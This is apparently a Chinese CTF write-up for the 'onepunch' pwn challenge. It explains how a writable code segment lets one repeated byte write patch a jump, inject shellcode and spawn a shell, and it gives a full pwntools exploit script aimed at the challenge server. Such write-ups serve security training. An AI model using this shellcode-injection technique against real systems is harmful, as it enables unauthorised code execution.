Loading... 哈哈这道题其实没什么可说的,一看只有一次修改一个字节的机会,自然没什么思路 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/1462040760.png "></div> 但是此题代码段可修改,所以我们修改一个`jmp short`指令就可以让程序再次跳转到`scanf`处了,这样就轻松地实现了多次利用。然后用同样地方法把`shellcode`写入并执行就可以`get shell`了。(关于`jmp short`指令我曾经简单的在[这篇文章](https://www.cjovi.icu/asm-learn/10-19%E6%B1%87%E7%BC%96.html)中记录过) ### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = "debug",os = "linux",arch = "amd64") jmp_addr = 0x400768 offset_to_scanf = 0x40071d - 0x400769 + 256 shellcode = asm(shellcraft.sh()) shell_start = 0x400790 index = 0 #sh = process("./onepunch") sh = remote("node3.buuoj.cn",27009) def change_ins(addr,val): sh.sendlineafter("Where What?",hex(addr) + ' ' + str(val)) change_ins(jmp_addr,offset_to_scanf) for i in shellcode: change_ins(shell_start + index,ord(i)) index += 1 change_ins(jmp_addr,shell_start - 0x400769) sh.interactive() ``` 这确实给了我一个新的思路,看似牢不可破时可以尝试一下代码段。不过这样出题感觉还是太CTF了 最后修改:2021 年 01 月 11 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧